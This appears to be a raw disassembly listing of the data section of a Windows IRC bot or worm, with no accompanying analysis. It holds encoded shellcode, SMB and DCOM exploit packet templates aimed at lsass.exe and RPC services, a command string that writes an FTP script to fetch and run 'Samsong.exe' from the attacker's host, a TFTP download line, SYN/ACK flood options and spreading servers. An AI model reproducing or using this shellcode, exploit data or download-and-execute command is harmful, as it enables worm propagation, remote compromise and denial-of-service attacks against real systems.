dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_41E474 dd offset loc_401495 ; DATA XREF: sub_401B98+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_41E508 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401B98+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_41E574 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401B98+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_41E5E8 dd 0 ; DATA XREF: sub_401B98+35Fo
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 2 dup(0)
word_41E670 dw 0AD9Dh ; DATA XREF: sub_401A39+30r
; sub_401B98+E7r
align 4
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 10h
dword_41E6B0 dd 1004600h ; DATA XREF: sub_401B98+140r
; sub_401B98+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
; char aS_0[]
aS_0 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401A39+100o
; sub_409557+3916o ...
align 10h
; char aEchoOpenSDOEch[]
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get Samsong.exe >> o'
; DATA XREF: sub_401A39+BCo
db ' &echo quit >> o &ftp -n -s:o &Samsong.exe',0Dh,0Ah,0
align 10h
; char aTftpISGetS[]
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_401A39+97o
dword_41E7F4 dd 6EB06EBh, 0 ; DATA XREF: sub_401B98+177o
; char aSIpc[]
aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_401B98+27o
align 4
dword_41E808 dd 1CEC8166h ; DATA XREF: sub_401B98+Dr
dword_41E80C dd 0E4FF07h ; DATA XREF: sub_401B98+16r
dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh
dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h
dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h
dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h
dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh
dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh
dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh
dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h
dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh, 59AA4B9Dh
dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h
dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h
dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h
dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
dd 99EDFCF2h, 0
dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
dd 0FEFF0000h, 0
dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h
dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h
dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h
dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
dd 0
dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_0:
unicode 0, <Windows 2000 2195>,0
aWindows20005_1:
unicode 0, <Windows 2000 5.0>,0
align 4
dd 0
dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
dd offset loc_401495
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 3 dup(0)
aWinxpProfess_0 db 'WinXP Professional [universal] lsass.exe ',0
align 4
dd 0
dd 1004600h, 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h
dd 20206C61h, 755B2020h, 6576696Eh, 6C617372h, 656E205Dh
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0
aAsn1smbnt db 'asn1smbnt',0 ; DATA XREF: sub_4027F8+164o
aDcom135 db 'Dcom135',0 ; DATA XREF: sub_4013EE+2DDo
; .text:004019D0o ...
align 4
dd 5 dup(0)
dword_41F090 dd 87h ; DATA XREF: sub_4021A2+1Er
; sub_409557+2913r ...
off_41F094 dd offset sub_4013EE ; DATA XREF: sub_4027F8+1E6r
dword_41F098 dd 0 ; DATA XREF: sub_4013EE+332w
; sub_4013EE+338r ...
dword_41F09C dd 1 ; DATA XREF: sub_4022E3+1Fr
dword_41F0A0 dd 1 ; DATA XREF: sub_4022E3:loc_402554r
aDcom445 db 'dcom445',0
dd 63440000h, 34346D6Fh, 35h, 5 dup(0)
dd 1BDh, 4013EEh, 0
dd 2 dup(1), 6D6F6364h, 35323031h, 63440000h, 30316D6Fh
dd 3532h, 5 dup(0)
dd 401h, 4013EEh, 0
dd 2 dup(1), 6D6F6364h, 32h, 63440000h, 326D6Fh, 6 dup(0)
dd 87h, 40178Dh, 0
dd 2 dup(1), 316E7361h, 626D73h, 736C0000h, 5F737361h
dd 353434h, 5 dup(0)
dd 1BDh, 401FD7h, 0
dd 2 dup(1), 73616364h, 73h, 63640000h, 737361h, 6 dup(0)
dd 1BDh, 401734h, 0
dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h
dd 393331h, 5 dup(0)
dd 1BDh, 401FD7h, 0
dd 2 dup(1), 0Fh dup(0)
aLsass_139 db 'lsass_139',0
byte_41F252 db 1 ; DATA XREF: sub_409557:loc_40D794r
; sub_409557+4247o
aDcom1025 db 'dcom1025',0
dd 63640100h, 737361h, 0
dd 61736C01h, 345F7373h, 1003534h, 6D6F6364h, 32h, 10000h
dd 3 dup(0)
dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh
dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h
dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h
dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h
dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh
dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah
dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h
dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h
dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h
dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h
dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h
dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh
dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h
dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h
dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh
dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh
dd 99h
; char aTotalDInS_[]
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_4021A2+81o
align 10h
; char aSD[]
aSD db ' %s: %d,',0 ; DATA XREF: sub_4021A2+42o
align 4
; char aScanExploitSta[]
aScanExploitSta db '[SCAN]: Exploit Statistics:',0 ; DATA XREF: sub_4021A2+11o
; char aScanScanNotAct[]
aScanScanNotAct db '[SCAN]: Scan not active.',0 ; DATA XREF: sub_40226C+42o
align 4
; char aScanCurrentIpS[]
aScanCurrentIpS db '[SCAN]: Current IP: %s.',0 ; DATA XREF: sub_40226C+2Co
; char aHttpdFailedToS[]
aHttpdFailedToS db '[HTTPD]: Failed to start server, error: <%d>.',0
; DATA XREF: sub_4022E3+36Fo
align 4
; char aHttpdServerLis[]
aHttpdServerLis db '[HTTPD]: Server listening on IP: %s:%d, Directory: %s\.',0
; DATA XREF: sub_4022E3+307o
; sub_409557+4773o
aFtpFailedToSta db '[FTP]: Failed to start server, error: <%d>.',0
; DATA XREF: sub_4022E3+267o
; char aFtpServerStart[]
aFtpServerStart db '[FTP]: Server started on Port: %d, File: %s, Request: %s.',0
; DATA XREF: sub_4022E3+1FAo
align 4
; char aTftpFailedToSt[]
aTftpFailedToSt db '[TFTP]: Failed to start server, error: <%d>.',0
; DATA XREF: sub_4022E3+149o
align 4
; char aTftpServerStar[]
aTftpServerStar db '[TFTP]: Server started on Port: %d, File: %s, Request: %s.',0
; DATA XREF: sub_4022E3+DBo
; sub_409557+45FDo
align 4
; char aD_D_D_D[]
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_4026BF+38o
; sub_408401+46o
; char aScanIpSPortDIs[]
aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: sub_4027F8+EBo
align 4
; char aScanIpSDScanTh[]
aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: sub_4027F8+93o
; char aScanFinishedAt[]
aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
; DATA XREF: sub_402A0C+1CEo
align 4
; char aScanFailedToSt[]
aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0
; DATA XREF: sub_402A0C+173o
; char aScanSDScanThre[]
aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: sub_402A0C+103o
; char aScanFailedToIn[]
aScanFailedToIn db '[SCAN]: Failed to initialize critical section.',0
; DATA XREF: sub_402A0C+87o
align 4
; char aD_SS[]
aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_402CEB+35o
aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_402CEB+10o
align 4
; char a_2d_2d4d_2d_2d[]
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_402D63+60o
align 4
aLogsCleared_ db '[LOGS]: Cleared.',0 ; DATA XREF: sub_402E03+1Ao
align 10h
; char aLogListComplet[]
aLogListComplet db '[LOG]: List complete.',0 ; DATA XREF: sub_402E75+DCo
align 4
aLogBegin db '[LOG]: Begin',0 ; DATA XREF: sub_402E75+3Fo
align 4
dword_41F768 dd 78h ; DATA XREF: sub_403014+Ar
align 10h
dword_41F770 dd 80000002h, 424B3Ch, 80000002h, 424B6Ch, 80000001h, 424BA4h
; DATA XREF: sub_402FA4+7o
; char Mode[]
Mode db 'rb',0 ; DATA XREF: sub_402FA4+63o
; sub_403067+Bo ...
align 4
; char aDdosDoneWithFl[]
aDdosDoneWithFl db '[DDoS]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_4030D9+5Bo
; char aDdosSendErrorD[]
aDdosSendErrorD db '[DDoS]: Send error: <%d>.',0 ; DATA XREF: sub_40318B+302o
align 4
; char aDdos_random[]
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_40318B:loc_4032B7o
; sub_409557+1EACo
; char aDdos_ack[]
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_40318B:loc_40329Bo
; sub_409557+1E95o
align 4
; char Str2[]
Str2 db 'ddos.syn',0 ; DATA XREF: sub_40318B+F1o
; sub_409557+1E7Eo
align 10h
; char aDownloadBadUrl[]
aDownloadBadUrl db '[DOWNLOAD]: Bad URL, or DNS Error: %s.',0 ; DATA XREF: sub_403520+493o
align 4
aDownloadUpda_0 db '[DOWNLOAD]: Update failed: Error executing file: %s.',0
; DATA XREF: sub_403520+485o
align 10h
; char aDownloadDown_0[]
aDownloadDown_0 db '[DOWNLOAD]: Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
; DATA XREF: sub_403520+3C9o
; char aDownloadOpened[]
aDownloadOpened db '[DOWNLOAD]: Opened: %s.',0 ; DATA XREF: sub_403520+358o
; char aOpen[]
aOpen db 'open',0 ; DATA XREF: sub_403520+336o
; sub_409557+15D5o ...
align 4
; char aDownloadDownlo[]
aDownloadDownlo db '[DOWNLOAD]: Downloaded %.1f KB to %s @ %.1f KB/sec.',0
; DATA XREF: sub_403520+2E1o
; char aDownloadCrcFai[]
aDownloadCrcFai db '[DOWNLOAD]: CRC Failed (%d != %d).',0 ; DATA XREF: sub_403520+262o
align 4
; char aDownloadFilesi[]
aDownloadFilesi db '[DOWNLOAD]: Filesize is incorrect: (%d != %d).',0
; DATA XREF: sub_403520+1D8o
align 4
; char aDownloadUpdate[]
aDownloadUpdate db '[DOWNLOAD]: Update: %s (%dKB transferred).',0
; DATA XREF: sub_403520+195o
align 10h
aDownloadFileDo db '[DOWNLOAD]: File download: %s (%dKB transferred).',0
; DATA XREF: sub_403520+183o
align 4
; char aDownloadCouldn[]
aDownloadCouldn db '[DOWNLOAD]: Couldn',27h,'t open file: %s.',0 ; DATA XREF: sub_403520+77o
aUnknown db 'Unknown',0 ; DATA XREF: sub_403AC8:loc_403B0Bo
; sub_407BAB+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_403AC8:loc_403B05o
aDisk db 'Disk',0 ; DATA XREF: sub_403AC8:loc_403AFFo
align 10h
aNetwork db 'Network',0 ; DATA XREF: sub_403AC8:loc_403AF9o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_403AC8:loc_403AF3o
align 10h
aRam db 'RAM',0 ; DATA XREF: sub_403AC8:loc_403AEDo
word_41F9E4 dw 3Fh ; DATA XREF: sub_403AC8+1Fo
; sub_410E85:loc_410F87r
align 4
; char aFailed[]
aFailed db 'failed',0 ; DATA XREF: sub_403B59:loc_403C31o
; sub_403C74+3Bo
align 10h
; char aSkb[]
aSkb db '%sKB',0 ; DATA XREF: sub_403B59+6Bo
align 4
; char aMainSDriveSSTo[]
aMainSDriveSSTo db '[MAIN]: %s Drive (%s): %s total, %s free, %s available.',0
; DATA XREF: sub_403C74+8Eo
; char aMainSDriveSFai[]
aMainSDriveSFai db '[MAIN]: %s Drive (%s): Failed to stat, device not ready.',0
; DATA XREF: sub_403C74+58o
align 4
; char aA[]
aA db 'A:\',0 ; DATA XREF: sub_403D46:loc_403D8Bo
dword_41FA70 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_403EEB+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41FABC dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_403EEB+E3o
dword_41FAD8 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
; DATA XREF: sub_403EEB+118o
dword_41FAEC dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_403EEB+13Fo
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_404059+5CBo
; char aQuit[]
aQuit db 'QUIT',0 ; DATA XREF: sub_404059+5B7o
; sub_409557+522o
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_404059+5AAo
align 4
; char aFtpFileTransfe[]
aFtpFileTransfe db '[FTP]: File transfer complete to IP: %s (%s).',0
; DATA XREF: sub_404059+55Fo
align 4
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_404059+546o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_404059+51Ao
align 4
; char aRetr[]
aRetr db 'RETR',0 ; DATA XREF: sub_404059+502o
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_404059+4EDo
align 4
; char aS_S_S_S[]
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_404059+4DCo
; char aXX[]
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_404059+4A9o
align 4
; char aS_1[]
aS_1 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_404059+468o
db ']',0
; char aPort[]
aPort db 'PORT',0 ; DATA XREF: sub_404059+42Fo
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_404059+401o
align 10h
; char aList[]
aList db 'LIST',0 ; DATA XREF: sub_404059+3EEo
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_404059+3B3o
align 4
; char aPasv[]
aPasv db 'PASV',0 ; DATA XREF: sub_404059+3A0o
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_404059+390o
; char aI[]
aI: ; DATA XREF: sub_404059+37Co
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_404059+355o
; char aA_0[]
aA_0: ; DATA XREF: sub_404059+341o
unicode 0, <A>,0
; char aType[]
aType db 'TYPE',0 ; DATA XREF: sub_404059+32Ao
; sub_404059+365o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_404059+31Ao
align 4
; char off_41FCD4[]
off_41FCD4 dd offset dword_445750 ; DATA XREF: sub_404059+306o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_404059+2F6o
align 4
; char aRest[]
aRest db 'REST',0 ; DATA XREF: sub_404059+2E2o
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_404059+2D2o
align 4
; char aSyst[]
aSyst db 'SYST',0 ; DATA XREF: sub_404059+2BEo
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_404059+2AEo
align 4
; char aPass[]
aPass db 'PASS',0 ; DATA XREF: sub_404059+29Ao
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_404059+28Ao
align 4
; char aUser[]
aUser db 'USER',0 ; DATA XREF: sub_404059+275o
align 4
; char aSS_1[]
aSS_1 db '%s %s',0 ; DATA XREF: sub_404059+264o
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_404059+1DCo
align 4
; char aHttpdErrorServ[]
aHttpdErrorServ db '[HTTPD]: Error: server failed, returned: <%d>.',0
; DATA XREF: sub_404771+3F8o
align 4
; char asc_41FD9C[]
asc_41FD9C db 0Dh,0Ah,0 ; DATA XREF: sub_404771+2CFo
align 10h
; char Delim[]
Delim: ; DATA XREF: sub_404771+293o
; sub_409557+A8o ...
unicode 0, < >,0
; char SubStr[]
SubStr db 'GET ',0 ; DATA XREF: sub_404771+269o
align 4
; char aHttp1_0200Ok_0[]
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404BCC+F6o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
; char aHttp1_0200OkSe[]
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404BCC+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_404BCC+97o
; sub_410E85+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_404BCC+83o
align 4
; char aApplicationOct[]
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_404BCC:loc_404C31o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_404BCC+5Eo
align 10h
; char aHttpdFailedT_0[]
aHttpdFailedT_0 db '[HTTPD]: Failed to start worker thread, error: <%d>.',0
; DATA XREF: sub_404D4E+28Fo
align 4
; char aHttpdWorkerThr[]
aHttpdWorkerThr db '[HTTPD]: Worker thread of server thread: %d.',0
; DATA XREF: sub_404D4E+20Bo
align 4
; char asc_420028[]
asc_420028: ; DATA XREF: sub_404D4E+157o
unicode 0, <*>,0
; char asc_42002C[]
asc_42002C: ; DATA XREF: sub_404D4E+FBo
; sub_404FFE+29o ...
dw 0Ah
unicode 0, <>,0
; char aSS[]
aSS db '%s%s',0 ; DATA XREF: sub_404D4E+EAo
; sub_404FFE+4CAo ...
align 4
; char aS_2[]
aS_2 db '%s',0 ; DATA XREF: sub_404D4E+3Ao
; sub_405E64+3Bo ...
align 4
aS_6 db '\%s',0 ; DATA XREF: sub_404D4E+2Fo
; char aFoundIFilesAnd[]
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_404FFE+64Eo
align 4
; char aTrTdColspan3_0[]
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_404FFE+633o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 10h
; char aPrivmsgSFoundS[]
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_404FFE+618o
align 10h
; char a31s21sIBytes[]
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_404FFE+589o
align 4
; char aTdTdWidthDCo_0[]
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_404FFE+561o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
; char aCodeSCodeA_0[]
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_404FFE:loc_405516o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_404FFE+511o
align 4
